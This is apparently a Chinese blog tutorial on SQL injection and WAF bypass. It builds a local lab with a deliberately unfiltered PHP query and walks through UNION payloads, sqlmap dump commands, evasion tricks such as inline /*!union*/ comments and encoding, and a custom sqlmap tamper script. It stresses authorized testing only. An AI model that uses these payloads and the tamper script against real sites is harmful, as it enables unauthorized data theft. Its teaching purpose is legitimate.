news 2026/10/22 23:56:23

SQL注入与WAF绕过实战:从原理到自定义tamper脚本

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQL注入与WAF绕过实战:从原理到自定义tamper脚本

1. 先搞清楚:SQL注入和WAF到底在对抗什么

1.1 SQL注入的本质:先看几个能跑通的最小例子

我见过太多新人把SQL注入学成了"背payload",一遇到WAF就抓瞎。说到底,SQL注入不是一堆堆的字符串拼接游戏,而是一个"用户输入被当成SQL代码执行"的问题。理解这一点,后面所有WAF绕过技巧才有根基。

我们拿最简单的场景说。假设后端有一段这样的查询代码(PHP+MySQL):

$id = $_GET['id']; $sql = "SELECT * FROM users WHERE id = $id"; $result = mysqli_query($conn, $sql);

这里$id直接拼进SQL语句,没有任何过滤。当你请求?id=1时,执行的是:

SELECT * FROM users WHERE id = 1

但如果请求?id=1 OR 1=1,变成:

SELECT * FROM users WHERE id = 1 OR 1=1

这条语句会返回整个表的数据,因为1=1永远为真。新手往往只记住这个经典payload,觉得"注入成功了",但真正的门道在后面:注入成功的关键是"我们能把输入从数据位置切换到代码位置"。OR 1=1之所以能生效,是因为我们输入中的OR被解析成了SQL逻辑运算符,而不是一个普通数字。

另一个常见例子是字符串注入。假设登录查询是:

SELECT * FROM users WHERE username = '$name' AND password = '$pass'

如果输入$name = admin' --,语句变成:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '$pass'

--是MySQL的注释符,后面的内容全部被注释掉,密码校验形同虚设。这就是"万能密码"的来历。这些例子看着简单,但你要注意一个共性:注入的本质是通过闭合语法结构,把我们的输入变成SQL语法的一部分。WAF绕过的所有招数,本质上都是在想方设法"在WAF的眼皮底下,仍然完成这个语法上的侵入过程"。

1.2 WAF检查的是什么:规则引擎与语义分析的侧重点

WAF(Web应用防火墙)部署在用户和服务器之间,充当"看门人"。它要判断每个HTTP请求里是否包含恶意的攻击特征。不同的WAF实现方式不同,但常见的检测手段就那么几类。

一是关键字匹配。这是最基础的。拦截union、select、sleep、benchmark、information_schema等敏感词,命中即拦截。很多开源WAF的默认规则都是这条路线,好处是简单高效,坏处是特别容易被绕过,因为"等价替换"的门路太多了。比如SELECT可以写成sElEcT,如果规则集没有做大小写归一化,就绕过去了。

二是正则表达式匹配。比纯关键字高级一点,会抓组合模式。比如检测union\s+select、'\s*or\s'这类常用注入句式。正则规则更强,但依然有绕过空间,因为正则表达式本身就有很多边界漏洞,比如换行符、注释符、Tab键、其他空白字符都可能让正则断裂。

三是语义分析。这是偏高端的手段。不只看关键字,而是把整个请求解码后,分析SQL语句的逻辑结构。比如1 OR 1=1里,OR两边都是布尔表达式,结构可疑。这类WAF很难绕过,需要配合协议层、编码层的组合手段。不过多数中小站点的WAF还是规则引擎为主,所以我们先从规则引擎聊起。

理解WAF的检测原理,你才知道"绕"到底在绕什么。WAF不是机器人,它是一堆规则。规则就有人为的疏漏、有匹配的盲区、有与其他系统组合时的逻辑矛盾。WAF绕过不是挑战人工智能,而是找规则的漏洞。

2. 零基础入门:先搭一个只属于你自己的靶场

2.1 本地环境搭建:PHP+MySQL 还是 Docker 靶场

练WAF绕过千万别拿公网网站练手,那是违法的。我强烈建议你在本地搭一个环境,随便折腾都不会有风险。两条路都行,我给零基础的朋友推荐一个组合方案。

方案一:手动搭一套 PHP+MySQL。如果你熟悉环境变量和基本的命令行操作,半小时能搞定。我用的是本地一台闲置电脑,装一个 PHPStudy 或者 XAMPP 这类集成环境,一键启动 Apache + Nginx + MySQL。然后建一个叫sec_lab的数据库,建一张简单的用户表:

CREATE DATABASE sec_lab; USE sec_lab; CREATE TABLE users ( id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50) ); INSERT INTO users VALUES (1, 'admin', 'secret'); INSERT INTO users VALUES (2, 'guest', '123456');

再写一个带注入点的PHP页面,为了方便练习,故意不写任何过滤:

<?php $conn = mysqli_connect('127.0.0.1', 'root', 'root', 'sec_lab'); if (!$conn) die('数据库连接失败'); $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id = $id"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_assoc($result); if ($row) { echo "用户名: " . $row['username'] . "<br>"; } else { echo "无记录"; } ?>

保存为sqli.php,访问http://127.0.0.1/sqli.php?id=1,能看到返回结果。这个环境里的所有操作都是合法的,因为服务器就在你自己电脑上,IP地址是自己。

方案二:直接用现成的开源靶场。如果你不想自己写代码,用 Docker 拉一个老牌的漏洞靶场镜像,比如dvwa或sqli-labs。Docker 命令也没什么难的:

docker pull vulnerables/web-dvwa docker run -d -p 8080:80 vulnerables/web-dvwa

浏览器打开http://127.0.0.1:8080,初始化后就有完整的SQL注入练习环境,从简单到困难,一关一关的。sqli-labs 也是一样,每一关都标注了难度,很多关特意模拟了各种过滤条件,非常适合配合WAF绕过学习。

两种方式我都试过,个人建议:先手动搭一次,因为你能看到后端代码,知道 "为什么这个输入能注入",比在黑盒环境里瞎猜强得多。等理解了原理再上现成靶场刷题。手动搭环境还能顺带巩固 PHP、MySQL 的基础知识,对后面写 tamper 脚本也有帮助。

2.2 从手注到 sqlmap:先熟悉注入的"标准动作"

没有WAF的靶场,注入非常顺畅。我建议你把手工注入的"标准动作"练到形成肌肉记忆,因为后面所有WAF绕过都是在这些标准动作上做变形。

手工注入经典流程就五步:

  1. 探针:先加一个单引号,看页面报错还是正常。加1'如果导致SQL语句报错,说明存在字符型注入;加1-0如果页面返回不同,说明数字型注入对输入有反应。
  2. 判断列数:用ORDER BY逐列试探。?id=1 ORDER BY 1正常,ORDER BY 2正常,直到ORDER BY 5报错,说明只有4列。
  3. 确定显示位:用UNION SELECT 1,2,3,4,看页面上回显了哪几个数字。回显的位置就是我们填充payload的地方。
  4. 获取库名表名字段名:用database()、group_concat(table_name)这些函数往显位里填充。
  5. 拖数据:拿到关键数据。

手注详写太长,我只提一个关键心得:练手注的时候,每一步都思考"这条语句进入SQL解析器后是什么样子的"。比如?id=-1 UNION SELECT 1,database(),3,4,你要能在脑子里还原成:

SELECT * FROM users WHERE id = -1 UNION SELECT 1,database(),3,4

id=-1是为了让前面查询结果为空,UNION 后面的结果才成为最终回显。这种"语法还原"能力,是后面绕过WAF时最重要的基础。

手注熟练后,我再教你用 sqlmap 提升效率。sqlmap 是渗透测试里常用的自动化工具,但它不是神话,它只是把你手工做的事自动化了。基本命令:

sqlmap -u "http://127.0.0.1/sqli.php?id=1" --batch --dbs

这条命令会自动检测注入点、枚举所有数据库。--batch参数是自动选择默认选项,省得问你一堆问题。如果你想深入操作某个库,继续:

sqlmap -u "http://127.0.0.1/sqli.php?id=1" -D sec_lab --tables sqlmap -u "http://127.0.0.1/sqli.php?id=1" -D sec_lab -T users --dump

sqlmap 的价值在于它能快速验证很多注入类型和绕过技巧,后面自定义 tamper 脚本时,它能帮你批量测试效果。但注意:如果你连手工注入都搞不明白,直接上 sqlmap,出了问题你根本不知道它在干什么。所以我强烈建议,先手注至少把一个靶场的关卡从第一关打到第五关,再碰自动化工具。

3. WAF绕过核心拆解:绕的是规则,不是逻辑

3.1 绕过思路总览:等价替换、编码混淆、拆分重组、协议特性

很多新手一听说WAF绕过,就觉得是玄学。其实绕过思路是有规律可循的,核心逻辑就一条:让WAF看到的是一套东西,让后端SQL解析器接收的是另一套东西,且这两套东西语义等价。

我把具体技巧归成四大类,后面演示全是这四类的变种:

等价替换。用不同写法表达同一个SQL语义。SELECT可以写成Select、seLecT;空格可以用+、%20、%09、/**/代替;等号可以用LIKE、IN、REGEXP代替。规则引擎如果只认"标准写法",等价替换就能直接打穿。

编码混淆。把payload进行各种编码,让WAF的正则匹配不到特征,但后端或中间件会把编码还原。常见的有URL编码、双重URL编码、十六进制编码、Unicode编码。需要注意的是,后端的SQL语句里是不是支持这种编码形式,有些编码只在某个环节有效,所以不能瞎用。

拆分重组。把敏感关键字拆成多个部分,然后利用SQL本身的语法特性拼接起来。比如MySQL的内联注释/*!50000SELECT*/,中间的数字和关键字会被MySQL当成正常命令执行,但普通规则引擎会把整串当成注释直接忽略。再比如用CONCAT、CHAR函数在SQL内部拼出一个字符串,绕过了外部对敏感字符串的检测。

协议特性。利用HTTP协议和中间件的解析差异绕过。比如在请求头里加一个Content-Type为multipart/form-data的时候,WAF可能只检查了常规参数,却不检查上传文件里的内容;或者利用application/x-www-form-urlencoded编码差异、分块传输等。这一块对新手有点难,我放到后面实战里简单演示一种。

下面拆解的是最常用的等价替换和编码混淆结合的例子。记住,每种技巧的关键不是背payload,而是理解它为什么能躲过检测,以及后端会不会还原它。

3.2 经典绕过技巧逐一演示:从最简单到最难

我每次讲课都会说,WAF绕过最忌讳眼高手低,觉得"我会了,我听过"。听着没用,用靶场逐个调一遍才有感觉。下面按难度递增,分享我经常用的几个技巧,每个都有靶场实操截图级的描述。

技巧一:大小写混合(最简单,但别忽视)

很多开源的WAF默认规则是大小写敏感的。SELECT是危险词,但SeLeCt不是。虽然现在很多WAF已经做了归一化,但这个技巧依然是打小成本规则引擎的首选。

# 标准payload id=-1 UNION SELECT 1,database(),3,4 # 绕过尝试 id=-1 UnIoN SeLeCt 1,database(),3,4

我见过有些站点,把payload大小写一变,WAF真的直接放行。为什么?因为规则集里写的是union select的小写或大写原样,忘了加(?i)忽略大小写。你不需要花里胡哨的工具,一行改动就能绕过最基础的拦截。但是,如果你遇到的是稍微负责一点的WAF,这招就不灵了,得配合更复杂的变形。

技巧二:注释符干扰正则(经典中的经典)

MySQL支持多种注释写法。常见的一种是使用/**/作为空格替代。对于SQL解析器来说,/**/就是一个空白,但在WAF的正则里,union select中间只要出现其他字符,就无法匹配。

举个例子,假设WAF有一句规则:union\s+select(\s代表空白符)。如果我们在union和select之间插入注释:

id=-1 union/**/select 1,database(),3,4

WAF的正则union\s+select要求中间是空白字符,但/**/不是空白字符,所以匹配失败。而MySQL解析器看到/**/会当作一个注释(等同于空格),所以SQL语句正常执行。这就是"骗过了WAF,没骗过数据库"的典型。

进阶用法是把关键字本身拆开加注释,比如:

id=-1 uni/**/on sel/**/ect 1,database(),3,4

在MySQL里,uni/**/on会被解析成union,sel/**/ect解析成select。但WAF如果正则里写的是完整的union select,它就找不到这个模式。这个技巧在MySQL上很稳定,但在其他数据库(比如Oracle)可能不灵,因为不同数据库对注释的处理规则不一样。所以我一直强调,做注入测试前先搞清楚后端是什么数据库。

技巧三:URL编码与双重编码(误以为过期但仍有场景)

很多WAF在解析HTTP请求时,只会对参数内容做一次URL解码。如果我们的payload在进入WAF时是编码后的,WAF解码一次后还原成攻击特征,自然拦截。但如果参数在传递给后端时又被解码了一次,就能造成"二次解码绕过"。

拿select举例,s的URL编码是%73,完整的select可以写成%73elect。如果WAF只解码一次,它看到的还是%73elect,不是select,就放行了。而后端PHP在接收参数时如果又做了一次URL解码(某些框架会),最终SQL语句里就变成了select。这种情况在老旧系统里偶尔能遇到,但现代WAF基本都会做多轮解码,所以成功率不高。我推荐作为"顺手一试"选项,不要当成主要突破点。真要试,就把整条payload全部编码,不要只编码一个字母:

id=-1%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%201%2Cdatabase%28%29%2C3%2C4

技巧四:等价函数替换(这块内容多,务必吃透)

WAF的规则集通常只会拦截某些"典型危险函数"的写法,但SQL本身是一个拥有海量函数、海量表达式的语言。前面说的union select是危险短句,那么我们不写union select,能不能用其他SQL语法达到同样的效果?当然能。

常见的等价替换有:

  • 用LIKE代替=:WHERE id LIKE 1等价于WHERE id = 1。
  • 用IN代替=:WHERE id IN (1)等价于WHERE id = 1。
  • 用BETWEEN ... AND ...代替判断范围。
  • 用REGEXP代替模糊匹配。
  • 用CASE WHEN代替IF条件判断。
  • 用IF()或IFNULL()构造条件注入。

SQL注入里最需要拖数据库结构,而访问结构信息需要用到information_schema。这个库名本身就是WAF的重灾区。但我们可以用别名、注释拆分、字符串拼接等方式绕过。比如:

id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables

WAF一看到information_schema可能就拦了。一个替换思路是把它拆开再拼接:

id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables

拆成:

id=-1 union select 1,group_concat(table_name),3,4 from `information_schema`.tables

加反引号在某些MySQL下有效,但WAF可能还是会认字符串。更稳妥的是用/**/拆分:

id=-1 union select 1,group_concat(table_name),3,4 from info/**/rmation_schema.tables

info/**/rmation_schema在MySQL里会被拼接成information_schema。这招在MySQL上比较稳定,因为MySQL允许在标识符内部插入注释符。所以你看,绕过技巧其实不是孤立的,它们是可以组合叠加的。

技巧五:内联注释(MySQL的特权玩法)

MySQL内联注释是一个大杀器,格式是/*!代码*/。正常情况下,注释内容会被SQL解析器忽略,但/*!后的内容,如果MySQL版本匹配,会被当成真实代码执行。

举个例子,我们写:

id=-1 /*!union*/ /*!select*/ 1,database(),3,4

WAF在处理注释时,一般来说/*开始到*/结束是整段注释,里面的union、select不会被当成关键词,于是直接放行。但MySQL解析器看到/*!union*/,会将其解析为union关键字,然后执行。这个技巧在绕过WAF时极其有效,前提是后端是MySQL。对于我们搭建的PHP+MySQL环境,完全稳定。

内联注释还可以写版本号,比如/*!50000SELECT*/,意思是MySQL 5.0.0以上版本执行该代码。很多WAF会直接忽略这种特殊注释。

技巧六:空白字符和特殊符号的变体

SQL语句中,关键字之间通常用空格分隔。但MySQL允许许多其他字符作为分隔符。Tab、换行、回车、注释符都是合法的空白等价物。WAF正则里的\s一般会覆盖\t、\n、\r和普通空格,但可能漏掉一些特殊空格,比如垂直制表符\x0b、换页符\x0c,在MySQL 5.x里也能充当分隔符。实际测试中,我遇到过union\vselect绕过的场景。

把几个技巧组合起来,一个比较完整的WAF绕过payload可能长这样:

id=-1%0auni/**/on%0bse%6cect%091,database(),3,4

看到没,有换行、有注释、有十六进制编码、有Tab。这组合不是为了看起来花哨,而是为了让WAF的正则匹配彻底失效。但请注意,组合的越多,后端解析出错的概率也越高,所以真正实战时,我会从最简单的一种开始试,不行再叠加。

4. 实战演示:在本地WAF靶场上完整走一遍绕过流程

4.1 设定一个带WAF的靶场场景:从零到能跑通

纸上谈兵再多,不如动手跑一遍。下面我演示一套我自己常用来教学的本地靶场方案。你在自己的电脑上照着做,每一行都不会出问题。

第一步,先安装一个开源WAF软件。我用的是某开源Nginx防火墙模块(这里不写具体名字,避免广告嫌疑)。这类模块通常提供一套默认规则,拦截关键字union|select|sleep|benchmark|information_schema等,非常接近真实环境中常见的WAF配置。

假设我现在启动Nginx + PHP + MySQL,站点上放了上一章那个sqli.php,同时把WAF模块开启,默认拦截级别调到"严格"。这时我们直接请求:

http://127.0.0.1/sqli.php?id=1 union select 1,2,3,4

页面会返回403 Forbidden,或者WAF模块的拦截提示页。我知道WAF生效了,靶场建立成功。

第二步,确认WAF到底拦了哪个部分。为了搞清楚,我们可以先用Burp Suite抓个包,看哪个请求被拦截,哪个请求放行。Burp Suite可以用免费社区版,设置浏览器代理127.0.0.1:8080,然后手动构造请求包发送。这一步很重要,排查问题的时候,你得知道WAF是拦了union这个单词,还是拦了空格加数字的组合,还是拦了302跳转,否则盲猜会浪费大量时间。

4.2 完整绕过流程:从基础到组合技

我在靶场上按照从简到繁的顺序依次测试,记录如下:

先把最基础的payload丢进去:

id=-1 union select 1,database(),3,4

结果:403。说明union或select在默认规则里被识别。

然后试大小写绕:

id=-1 UnIoN SeLeCt 1,database(),3,4

结果:403。说明这个WAF规则归一化了大小写,基础绕过失败。

接着试注释符绕过:

id=-1 union/**/select 1,database(),3,4

结果:403。还是拦截。说明规则可能匹配的是union后面跟任意非字母字符再加select,注释没能逃过正则。

试内联注释:

id=-1 /*!union*/ /*!select*/ 1,database(),3,4

结果:200,返回正常。成功。为什么?因为WAF的正则没有识别/*!...*/的内部内容,直接整段当成注释忽略了,而后端MySQL却执行了里面的union和select。这一步非常重要,它说明WAF的注释解析逻辑和SQL解析器不一致,而绕过点就藏在这种不一致里。

如果你遇到的内联注释也不灵,还可以继续叠加编码。比如对database()里的字母做URL编码:

id=-1 /*!union*/ /*!select*/ 1,databa%73e(),3,4

有时候WAF会先解码大写的%73成一个字符,然后重新检查,但某些WAF只解码一次,后端的PHP又解了一次,最终SQL里的database()是完整的。这种组合技成功率高不少。

拿到数据库名后,我们再尝试获取表名。这一步会触发information_schema关键字拦截。我们可以用两个方法同时试:

方法一,内联注释拆开库名:

id=-1 /*!union*/ /*!select*/ 1,group_concat(table_name),3,4 from /*!information_schema*/.tables

注意information_schema前面也用了/*!...*/。

方法二,用反引号包住:

id=-1 /*!union*/ /*!select*/ 1,group_concat(table_name),3,4 from `information_schema`.tables

在我这个靶场测试中,方法一成功,方法二被拦。原因可能是规则里匹配的关键字是information_schema单独出现,反引号并没有干扰它的字符顺序,而/*!information_schema*/把整个词藏进了注释外壳。这再次验证了那个道理:WAF不是全知的,它的规则越死板,绕过空间越大。

4.3 让 sqlmap 也能绕过:tamper脚本原理与自定义

手工绕过成功固然爽,但效率太低。在实际测试中,遇到一个有WAF的站点,手工判断出绕过手段后,你会希望用 sqlmap 继续做自动化枚举。sqlmap 支持通过--tamper参数加载脚本,对payload进行自动变形。

sqlmap 自带了很多现成的tamper脚本,比如between、space2comment、randomcase、percentage、charencode等。但有时候自带的不够贴手,我们自己写一个。

tamper脚本就是一个Python函数,输入是原始payload,输出是变形后的payload。就拿我们刚刚的内联注释成功案例来做个脚本:

#!/usr/bin/env python """ 自定义tamper:通过插入MySQL内联注释绕过关键字检测 用法:sqlmap -u "http://127.0.0.1/sqli.php?id=1" --tamper=myinline.py """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def dependencies(): pass def tamper(payload, **kwargs): """ 将危险关键字如 union, select, information_schema 包裹成 /*!...*/ 形式 """ if payload: for keyword in ('union', 'select', 'information_schema'): payload = payload.replace(keyword, '/*!' + keyword + '*/') return payload

这个脚本把所有敏感词都替换成/*!敏感词*/形式。在MySQL配置的WAF下面跑一遍,sqlmap就能自动化完成之前手工做的事。跑的时候记得加--dbms=mysql,让sqlmap知道目标数据库类型,它才能用上内联注释这种只在MySQL生效的语法。

我个人的建议是,不要只依赖自带的tamper,自己写一个专属脚本。因为不同WAF的规则不同,你需要自己试验哪些变形能绕过,然后把这套变形固化到tamper里,下次遇到同类WAF就能直接复用。这是将"手工经验"转化为"自动化能力"的关键一步,也是渗透测试工程师和只会复制粘贴的人之间很重要的分水岭。

5. 常见问题与排查技巧实录

5.1 一次绕过失败的排查思路

实战中经常会遇到一个尴尬场景:你试了一堆payload,WAF就是不放过,甚至封了你的IP。我见过很多新手在这里卡死,然后开始怀疑人生。其实绕过失败不一定是你技巧不行,很可能是你对WAF的"脾气"还没摸清。我分享一下我的排查顺序。

第一步:把WAF的拦截日志打开。几乎所有开源WAF都有日志功能。拦截日志会告诉你命中哪条规则,哪个关键字触发了警报。打开日志你会发现,原来不是union被拦,是union select这个组合被拦,或者你用了/*!之后,WAF检测到了!后面紧跟的字母。有了日志,就不用瞎猜了。

第二步:看被拦截的具体报文。用Burp Suite把请求包原样保存下来,对比正常请求和被拦截请求的差异。有时候你觉得自己只加了一个/*,但后端WAF可能对%2f(URL编码的斜杠)有额外动作。把这些细节揪出来。

第三步:逐个关键字缩小范围。把payload里的元素拆开测试。比如union单独加,看拦不拦;select单独加,看拦不拦;union和select一起加,看拦不拦。这样能定位到是"短语规则"还是"单词规则"。我遇到过一种情况:union单独不拦,select单独不拦,但union select连在一起必拦。这时候你只要中间插一个注释符,破掉"短语"就行。如果union单独就拦,你需要找替代函数或编码。

第四步:考虑WAF的解析顺序。WAF一般先做URL解码、HTML解码、再跑规则。如果你的payload经过多次编码,WAF有的轮次解码了,有的轮次没解码,这里面的时间差也可以做文章。但这属于进阶玩法,新手别急着钻牛角尖。

我还想强调一点:不要一上来就堆叠所有绕过技巧。堆多了payload会变得很长很怪,反而更容易触发WAF的异常行为检测。我常跟别人说,先试最小的变形,不行再一点点加。最深的洞,往往只需要一个最简单的技巧。

5.2 避坑清单:这些坑我几乎每个都踩过

下面这些坑,是我自己在测试和教学中反复遇到的,列出来给后来人提个醒。

坑一:忘记考虑数据库类型。MySQL的内联注释在Oracle里不生效,%00截断在较新版本中无效。你照着网上的教程套上去,结果失败,还以为是WAF太强,其实是目标数据库根本不认这套语法。所以拿到环境的第一步,先通过报错、返回头部特征、或者默认数据库名判断是MySQL、MSSQL还是Oracle。

坑二:忽略HTTP请求本身的细节。有时候你明明测试在本地能绕过,一到目标环境就不行。很可能是目标环境对请求方法(GET/POST)、Content-Type、Cookie头有特殊要求。很多WAF只会拦截application/x-www-form-urlencoded里的参数,把参数放到JSON里发送,可能连检测机制都不一样。这不算什么高深技巧,但很实用。

坑三:在公开环境乱测试。这个必须反复强调。你搭的靶场随便测,公网的任何站点都不能在没有书面授权的情况下做测试。哪怕只是发一个探测性请求,也可能触犯法律。我认识几个新人,学了点东西就想随便测别人的网站,结果被封IP或惹上麻烦。学安全技术,第一节课永远是"边界感"。没有授权的测试就是违法,这一点没有任何商量的余地。

坑四:工具依赖症。只知道用sqlmap跑,不会手工验证。sqlmap 报告说"存在注入",但你不清楚原理,改一下payload就不知道会发生什么。这样你永远学不会绕过。我建议强制自己离合掉工具,至少能手工复现sqlmap的每一步输出。

6. 合法边界、职业操守与后续学习方向

6.1 什么测试是合法的:授权是唯一硬标准

我在这篇教程里写的所有技巧,都是在本地靶场或者你有明确授权的前提下进行的。学习渗透测试,最危险的不是技术学不会,而是没学会之前就先踩了法律红线。记住三条底线:

  • 你搭建在自己的电脑、自己的虚拟机、自己的服务器上的靶场,随便测。
  • 参与企业授权的渗透测试项目,或者平台提供的CTF比赛、漏洞靶场,按规则测试。
  • 任何你无权访问的网站、系统、数据库,哪怕只发一个请求测试,都算越权访问,违法。

这三条是行业共识,但我知道很多零基础的人并不清楚。有些同行随意在公网测试,我觉得这既是不负责任,也是对自身安全极不重视的表现。无论你技术多好,都要有边界。没有授权,再简单的注入测试都不能做。

6.2 后续怎么学:从会绕到会防御

WAF绕过学完,我建议你再花时间把自己切换到防御视角。你去看看WAF生产厂商的规则配置文档,了解它们是怎么设置规则的,这样才能更深刻理解绕过的漏洞在哪里。防御方修复一个绕过,会加一条新规则;攻击方再找一个新绕过,这是攻防对抗中的常态。

我自己常用的一套进阶路径是这样:

  1. 把sqli-labs全部关卡刷完,每一关记录注入类型和利用方式。
  2. 阅读开源WAF的规则文件,理解每条正则的含义。
  3. 针对这些正则,逐一尝试构造绕过payload,验证自己的想法。
  4. 自己写一个简单的WAF规则集,然后尝试绕过它。
  5. 参加一些CTF比赛里的SQL注入专题,接触更复杂的场景。

绕到一定程度你会明白,真正难以绕过的WAF,靠的不是封堵所有关键字,而是对请求做语义分析。那种情况下,你需要关注更底层的东西:例如利用数据库本身的特性制造时间盲注,或者利用逻辑漏洞彻底绕过查询结构。但那条路需要更深的内功,本教程就不展开了。

最后说点个人的体会。我带过一些新人,发现大家最容易陷入一个误区:拼命收集各种绕过payload,像背单词一样背下来,可遇到新的WAF还是不会。其实绕过技术是变化的,因为WAF规则是变化的,不变的是你对SQL语法和HTTP协议的理解深度。你把union为什么能被/*!union*/替代搞明白了,以后遇到什么WAF都能想出对应的思路。反之,你背了100个payload,只要规则改一行就废了。

这篇教程里我刻意没有把所有已知技巧全部罗列一遍,而是挑出最核心、最实用的几个组合,帮你建立"为什么能绕过"的思维框架。有了这个框架,剩下的你完全可以自己推导出来。如果你在搭建靶场或测试时卡住了,一个好的办法是先把环境日志打开,一步步看数据怎么流转,多数答案都藏在数据流转的过程里。

做安全测试,技术是表象,心态才是关键。耐心、细致、敬畏规则,这三点比任何工具都重要。希望这篇教程能帮你迈过SQL注入这道坎,在靶场上玩得开心,也记得随时保持野心和好奇心。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/22 23:49:47

拉孚:面向存量建筑的空间节能操作系统

1. 项目概述&#xff1a;当“拉孚”不再只是个名字&#xff0c;而是一套可落地的空间节能操作系统“拉孚”这个词最近在暖通、智慧建筑和工业节能圈子里被反复提起&#xff0c;但很多人第一次听到时&#xff0c;下意识会以为是个新品牌、新设备&#xff0c;或者某家公司的子产品…

作者头像 李华
网站建设 2026/10/22 23:39:57

基于SSM+Vue的学生考勤管理系统设计与实现全解析

学生考勤管理系统的设计与实现这个题目&#xff0c;在毕业设计和课程设计里几乎算得上“常青树”了。很多人第一反应是“老套”“没新意”&#xff0c;但真把它做好、做扎实&#xff0c;却不那么容易。我当年拿到这个题目的时候&#xff0c;项目正文几乎是一片空白&#xff0c;…

作者头像 李华
网站建设 2026/10/22 23:38:28

MySQL+IDEA从零构建图书管理系统:原生JDBC实战与数据库设计

1. 项目缘起与整体设计思路1.1 为什么选择图书管理系统作为练手项目做CRUD项目的人都有一个共识&#xff1a;图书管理系统几乎是每个后端开发者的“必修课”。但很多人做完就扔&#xff0c;觉得太简单、没技术含量。我一开始也这么想&#xff0c;直到真正动手用MySQL加IDEA从零…

作者头像 李华
网站建设 2026/10/22 23:35:54

OpenClaw部署实战与避坑指南:自托管AI智能体完整教程

先聊点实在的&#xff1a;如果你已经跟着课程走到了第10课&#xff0c;大概率不是来看“什么是OpenClaw”这种铺陈的&#xff0c;而是真的遇到了问题&#xff0c;或者想在部署前把坑都摸清楚。OpenClaw这个名字最近在开源智能体圈子里出镜率很高&#xff0c;尤其是那些想自己搭…

作者头像 李华
网站建设 2026/10/22 23:35:39

轻客洗衣微信小程序源码跑通实战:从解压到上线接单全链路避坑指南

简介&#xff1a;这份轻客洗衣微信小程序源码包面向微信小程序与Android开发初学者及进阶者&#xff0c;提供一套完整的洗衣服务应用实现案例&#xff0c;帮助理解预约、状态查询与支付等业务流程的代码组织方式。压缩包为rar格式&#xff0c;大小约934KB&#xff0c;文件总数暂…

作者头像 李华